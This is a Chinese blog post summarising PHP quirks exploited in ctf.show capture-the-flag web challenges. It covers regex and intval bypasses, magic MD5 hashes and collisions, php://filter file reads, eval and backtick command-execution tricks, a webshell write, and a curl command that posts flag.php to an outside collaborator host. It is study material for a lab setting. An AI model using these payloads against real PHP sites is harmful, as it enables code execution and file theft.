CTF中的PHP特性

最新推荐文章于 2024-05-11 19:18:47 发布
最新推荐文章于 2024-05-11 19:18:47 发布
阅读量4.1k 收藏 67
点赞数 12
文章标签： php linux 安全 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45086218/article/details/114113971
版权

文章目录

本文以ctf.show网站题目为例，总结ctf中的php特性

正则表达式

元字符

在这里插入图片描述

模式修正符

在这里插入图片描述

preg_match()

数组绕过

preg_match()只能处理字符串，当传入的subject是数组时会返回false

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }

payload:

num[]=1

换行绕过

if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}

payload:

cmd=%0aphp

最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击（reDOS），给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万，preg_match 将不再返回非 1 和 0，而是 false。

if(isset($_POST['f'])){
    $f = $_POST['f'];
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
    echo $flag;
}

python脚本：

import requests
url="http://15bdcf89-9e10-4205-b3b4-6b3a0e45651a.chall.ctf.show:8080/"
data={
	'f':'very'*250000+'ctfshow'
}
r=requests.post(url,data=data)
print(r.text)

intval()

<?php
echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
echo intval(false);                   // 0
echo intval(true);                    // 1
?>

字符绕过

intval()而言，如果参数是字符串，则返回字符串中第一个不是数字的字符之前的数字串所代表的整数值。如果字符串第一个是‘-’，则从第二个开始算起。

if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

payload：

num=4476a

科学计数法

intval()int函数如果 b a s e 为 0 则 base为0则 base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊，可以在PHP中表示科学计数法。

if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }

payload：

num=4476e1

进制转换

0b?? : 二进制
0??? : 八进制
0X?? : 十六进制

if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }

payload：

num=010574

小数点绕过

if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

在上题基础上过滤了开头是‘0’的字符串
进制转换绕过不可行了，只能通过小数点，使得intval()转变为int()
payload：

num=4476.0

strpos()

strpos() - 查找字符串在另一字符串中第一次出现的位置（区分大小写）
stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）
strrpos() - 查找字符串在另一字符串中最后一次出现的位置（区分大小写）
strripos() - 查找字符串在另一字符串中最后一次出现的位置（不区分大小写）

md5

参考https://www.freesion.com/article/53561386476/

强类型比较

if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;

此时两个md5后的值采用严格比较，没有规定字符串如果这个时候传入的是数组不是字符串，可以利用md5()函数的缺陷进行绕过
payload：

a[]=1&b[]=2

弱类型比较

if(md5($_GET['a'])==md5($_GET['b']))
echo $flag;

只要两个数的md5加密后的值以0e开头就可以绕过，因为php在进行弱类型比较（即==)时,会现转换字符串的类型，在进行比较，而在比较是因为两个数都是以0e开头会被认为是科学计数法，0e后面加任何数在科学计数法中都是0，所以两数相等

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

md5碰撞

if($_GET['a']!==$_GET['b'] && md5($_GET['a'])===md5($_GET['b']))
{
	echo $flag;
}

真实md5碰撞，因为此时不能输入数组了，只能输入字符串

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

file_put_contents()

int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] )

file_put_contents() 函数把一个字符串写入文件中。

该函数访问文件时，遵循以下规则：

如果设置了 FILE_USE_INCLUDE_PATH，那么将检查 filename 副本的内置路径 如果文件不存在，将创建一个文件
打开文件 如果设置了 LOCK_EX，那么将锁定文件 如果设置了 FILE_APPEND，那么将移至文件末尾。否则，将会清除文件的内容
向文件中写入数据 关闭文件并对所有文件解锁 如果成功，该函数将返回写入文件中的字符数。如果失败，则返回 False。

in_array()

in_array() 函数搜索数组中是否存在指定的值。

in_array(search,array,type)

type 可选。如果设置该参数为 true，则检查搜索的数据与数组的值的类型是否相同。
in_array延用了php中的==

$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system('ls');?>再访问/1.php即可
}

优先级

符号

$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); // $b1 = true
var_dump($b2); // $b2 = false
$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); // $b3 = false
var_dump($b4); // $b4 = true

&&与||的优先级高于=
=的优先级高于and与or

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
   	......
}

只要令v1=数字，v0就为true

get post

http协议默认先以get方式获取数据，无论是否以哪种方式发起的，总是get方式优先，即通过get方式获取到了数据就不会再去通过post方式获取一遍，如果get方式获取不到，再以post方式获取。

ReflectionClass反射类

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  //获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}

var_dump($a->getName());    //获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

call_user_func回调函数

call_user_func(callback，parameter )

第一个参数 callback 是被调用的回调函数(一般为闭包函数)，其余参数是回调函数的参数。
常使用hex2bin()作为回调函数（16进制转化为字符）

PHP伪协议

写文件

配合file_put_contents( v 3 , v3, v3,str);函数 //在需要base64转换的时候

v3=php://filter/write=convert.base64-decode/resource=1.php&str=......

读文件

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}

通常我们使用:

php://filter/read=convert.base64-encode/resource=flag.php

当ban掉base64的时候，我们还可以用其他编码方式（或者不编码）：

php://filter/resource=flag.php		
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php	//可打印字符引用编码
compress.zlib://flag.php		//压缩流

伪协议支持多种编码方式，无效的ctfshow就被忽略掉了：

f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter

is_file()函数

判断是否为文件

php伪协议绕过

highlight_file()可以识别php伪协议 is_file()不能识别php伪协议

/proc/self/root

在linux中/proc/self/root是指向根目录的 也就是如果在命令行中输入 ls /proc/self/root
其实显示的内容是根目录下的内容 多次重复后绕过is_file

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

sha1

数组绕过

if(sha1($v1)==sha1($v2) && $v1!=$v2){
  	echo $flag;
}

payload：

v1[]=1
v2[]=2

强类型比较

v1=aaK1STf    //0e7665852665575620768827115962402601
v2=aaO8zKZF   //0e89257456677279068558073954252716165

parse_str()

parse_str() 函数把查询字符串解析到变量中。

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
结果
Bill
60

注意：
若要post参数，需加引号，如：

v1='flag=0'

ereg()截断漏洞

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

payload：

c=a%00778

反转后：c=877=0x36d

strrev()

反转字符串，常出现在%00截断漏洞中
注：%00是一个整体，不会反转成00%

Exception 异常处理类

和ReflectionClass反射类用法相似，该类中常用的成员函数如下所示：

getMessage()：返回异常的消息内容；
getCode()：以数字形式返回异常代码；
getFile()：返回发生异常的文件名；
getLine()：返回发生错误的代码行号；
getTrace()：返回 backtrace() 数组；
getTraceAsString()：返回已格式化成字符串的、由函数 getTrace() 函数所产生的信息；
__toString()：产生异常的字符串信息，它可以重载。注意，该函数最前部是两个下划线。

可以和system连用：

Reflectionclass(system('cat `ls`'));

FilesystemIterator类读取文件

FilesystemIterator获取指定目录下的所有文件
getcwd()函数：获取当前工作目录 返回当前工作目录

FilesystemIterator(getcwd());

php变量

$GLOBALS

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");//$v1和$v2指向同一地址，此时$v1=$v2
    var_dump($$v1);
}

payload:

v1=ctfshow&v2=GLOBALS  //构成$GLOBALS

get_defined_vars()

此函数返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。
用法：

var_dump(get_defined_vars())

变量命名

PHP变量命名规则：
只能包含：字母、数字、下划线
其中，只能以字母、下划线开头

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){

php变量命名不允许出现 .（点号）,需要绕过’CTF_SHOW.COM’

GET或POST方式传进去的变量名,会自动将 空格 + . [ 转换为 _

特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了 因此：

CTF[SHOW.COM => CTF_SHOW.COM

Fuzz测试

$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}

is_numeric()绕过

is_numeric()要求识别为数字，但不能是“36“

for ($i=0; $i <128 ; $i++) { 
    $x=chr($i).'1';
   if(is_numeric($x)==true){
        echo urlencode(chr($i))."\n";
   }
}
输出：%09 、%0A、 %0B、 %0C、 %0D、 +、 %2B、 -、 .（点）、

trim()绕过

trim(string,charlist)

参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数，则移除下列所有字符：

"\0"       	- NULL
"\t"       	- 制表符
"\n"      	- 换行
"\x0B"     	- 垂直制表符
"\r"       	- 回车
" "        	- 空格

编写fuzz脚本

for ($i=0; $i <=128 ; $i++) { 
    $x=chr($i).'1';
   if(trim($x)!=='1' &&  is_numeric($x)){
        echo urlencode(chr($i))."\n";
   }
}
输出：%0C、%2B（+号）、-、.（点）、0、1、2、3、4、5、6、7、8、9

$_SERVER[‘QUERY_STRING’]

1，http://localhost/aaa/ (打开aaa中的index.php)
结果：
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

2，http://localhost/aaa/?p=222 (附带查询)
结果：
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

3，http://localhost/aaa/index.php?p=222&q=333
结果：
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";

由实例可知：
$_SERVER["QUERY_STRING"] 获取查询 语句，实例中可知，获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值，包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径，如：index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名

网页模式下：
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(!isset($_GET['fl0g'])){
  	eval("$c".";");  
  	if($fl0g==="flag_give_me"){
      	echo $flag;
   	}

payload:

get:	?$fl0g=flag_give_me					    //1+flag_give_me		
post:	fun=assert($a[0])	//eval($a[0]) 		//parse_str($a[1])
或
get：	1=flag.php
post:	fun=highlight_file($_GET[1])

assert()断言

assert() 断言：

PHP 5
bool assert ( mixed $assertion [, string $description ] )

PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行
可见，eval和assert都可以将字符当作代码执行，只不过assert不需要严格遵从语法，比如语句末尾的分号可不加

gettext拓展

在开启该拓展后 _() 等效于 gettext()

echo gettext("phpinfo"); 
结果  phpinfo
echo _("phpinfo"); 
结果 phpinfo

shell_exec()

if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }

套娃命令执行：

get传参   F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到  `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`"); //``是shell_exec()函数的缩写
前面的命令我们不需要管，但是后面的命令我们可以自由控制。

curl命令

curl用法指南

curl -X POST -F xx=@flag.php http://9isaiekb9mnaymhxdhbm9hz52w8mwb.burpcollaborator.net
# -X POST  指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值，flag.php就是上传的文件

burpsuite使用
在这里插入图片描述
在这里插入图片描述

prase_str()和extract()

parse_str()：把查询字符串解析到变量中。
extract()：从数组中将变量导入到当前的符号表
注意区别： extract是将数组中元素分解,执行后数组的key值作为变量名，数组的value赋值给对应Key的变量，这样可以直接通过Key变量去访问，不用数组加key去访问。 即：从数组中创建变量

parse_str是根据"="来分解字符串，主要用于对url参数的解析。

@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

payload：

get:_POST[key1]=36d&_POST[key2]=36d

经过parse_str($_SERVER['QUERY_STRING']) 	==> $_POST[key1]=36d 数组形式
经过extract($_POST)						==> $key=36d

nl、cp、mv、tee写文件

在禁命令的时候没有限制写文件：

nl flag.php>1.txt
cp flag.php>1.txt
mv flag.php>1.txt

tee指令会从标准输入设备读取数据，将其内容输出到标准输出设备，同时保存成文件

ls /|tee 1
然后访问/1下载文件
Skn1fe
关注
  • 12
    点赞
  • 踩
  • 67
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTF PHP离线chm文档
08-09
CTF PHP离线chm文档
PHP特性之CTF中常见的PHP绕过
Welcome To Myon'Blog !
07-18 5831
一、关于md5()和sha1()的常见绕过 1、使用数组绕过 2、 使用特殊字符串绕过 二、strcmp绕过 三、switch绕过 四、intval绕过
CTF之PHP基础学习篇（一）
热门推荐
ioik~hk的博客
03-20 1万+
CTF之PHP基础。 文章目录 前言 一、PHP是什么？ 二、配置PHP环境 三、PHP基础语法介绍 前言 估摸着不少学计算机的同学以及其他专业的小部分同学都对于信息安全感兴趣吧！那对于参加这相关的比赛就应该更有兴趣了。那么我们首先就了解一下下这相关的比赛——CTF（Capture The Flag）。
2024年网络安全最全ctf中常见php特性_php特性 ctf(1)，2024年最新【秋招面试专题解析
最新发布
2401_84265571的博客
05-11 690
78. ## 二十一、解析HTML和XML作为PHP代码：当将用户提供的HTML或XML内容作为PHP代码进行解析时，如果不正确过滤和验证，可能会导致代码注入漏洞，允许执行恶意代码。70. ## 十七、动态函数调用：PHP允许使用变量来调用函数，但如果不正确验证和过滤用户提供的函数名，可能会导致执行未经授权的操作。72. ## 十八、动态类名实例化：PHP允许使用变量来实例化类，但如果不正确处理用户提供的类名，可能会导致执行未经授权的操作。参数，攻击者可以传递恶意的输入，可能导致意外的计算结果或安全问题。
ctfshow web入门 php特性
Sentiment的博客
04-11 5243
web89 intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if
ctf中常见php特性
2301_79863884的博客
01-10 1042
本地文件包含： 本地文件包含漏洞是指攻击者通过应用程序中的，成功包含本地系统文件，并在其中执行恶意代码。攻击者可以利用该漏洞读取敏感文件、执行系统命令或将Web服务器配置文件修改为恶意内容。以下是一个示例上述示例中，应用程序从URL参数中获取文件名并将其包含到代码中。攻击者可以通过在URL中添加恶意文件路径来访问未经授权的文件。远程文件包含： 远程文件包含漏洞是指攻击者通过应用程序中的输入点，成功包含远程服务器上的文件，并在其中执行恶意代码。
CTF入门之php文件包含
qq_37410729的博客
07-23 2250
ctf-show web3，web4
ctfshow-php特性
YkingH的博客
01-26 5807
Web专项练习—ctfshow-php特性 php绕过方法总结 小数绕过 进制绕过 ==、 = ==绕过 %20空格绕过 %0a换行绕过 回车\空格+八进制绕过 相对路径绕过 php伪协议读取文件 数组md5值为0 弱类型匹配 函数写???? 运算优先级漏洞 反射类绕过 call_user_func()绕过 sha1()函数绕过 变量覆盖 sha1弱比较 md5弱比较 ereg()截断漏洞 php内置类 FilesystemIterator 压缩过滤器绕过 空格代替url ‘_’ 绕过 gettex
CTF中文手册
02-21
CTF（Capture The Flag）中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间...而DEFCON作为CTF赛制的发源地，DEFCON CTF也成为了目前全球最高技术水平和影响力的CTF竞赛，类似于CTF赛场中的“世界杯”。
CTF 离线C PHP python 汇编函数查询 chm电子书合集
10-06
CTF 离线C PHP python 汇编函数查询 chm电子书合集 离线比赛时使用 学习
ctf杂项解题中常用的exe软件
05-18
你也许可以下载到，也许你下载不到，都可以来找我哟！！！感谢你的赞助！！！
CTF-Web-Challenge:使用PHP在Web中进行CTF挑战
03-25
CTF-网络挑战使用PHP在Web中进行CTF挑战链接： :
ctfshow-php特性-超详解(干货)
qq_50589021的博客
08-05 6301
PHP特性 web89 <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } ?> intval函数(获
ctf中常见php rce绕过总结
2302_76827504的博客
04-28 1999
只是总结一些常见的姿势,大佬轻喷。
WEB攻防-PHP特性&缺陷对比函数&CTF考点
m0_65336233的博客
10-06 1478
WEB攻防-PHP特性&缺陷对比函数&CTF考点
关于 CTF 中 php 考点与绕过那些事的总结
Welcome To Myon'Blog !
03-04 2109
_POST //获取post数据，是一个字典$_GET //获取get数据，是一个字典$_COOKIE //获取cookie数据$_SESSION //获取session数据$_FILES //获取上传的文件$_REQUEST //获取$_GET, $_POST, $_COOKIE中的数据$_SERVER //用户和服务器的基本信息数据库$_ENV //环境数据$GLOBALS //所有全局变量。
Web攻防--PHP特性&CTF考点
weixin_68243135的博客
11-15 1161
Web攻防--PHP语言特性--函数缺陷
php parse url ctf,一道CTF题目的探究
weixin_33907300的博客
04-14 1293
ByteCTF上遇到的一道Web题目，Boring_Code输出了代码：function is_valid_url($url) {if (filter_var($url, FILTER_VALIDATE_URL)) {if (preg_match('/data:\/\//i', $url)) {return false;}return true;}return false;}if (isset($...
PHP特性学习笔记（ctf相关）
2301_80366980的博客
12-10 163
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档。
ctf中常用的PHP伪协议
02-15
在CTF比赛中，常常会使用PHP伪协议来绕过服务器的安全限制或者执行本不应该执行的操作。 PHP伪协议有几种常见的形式： 1. data: 协议 这种形式的PHP伪协议通常用于在HTML中嵌入PHP代码，例如： ``` ;base64,...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值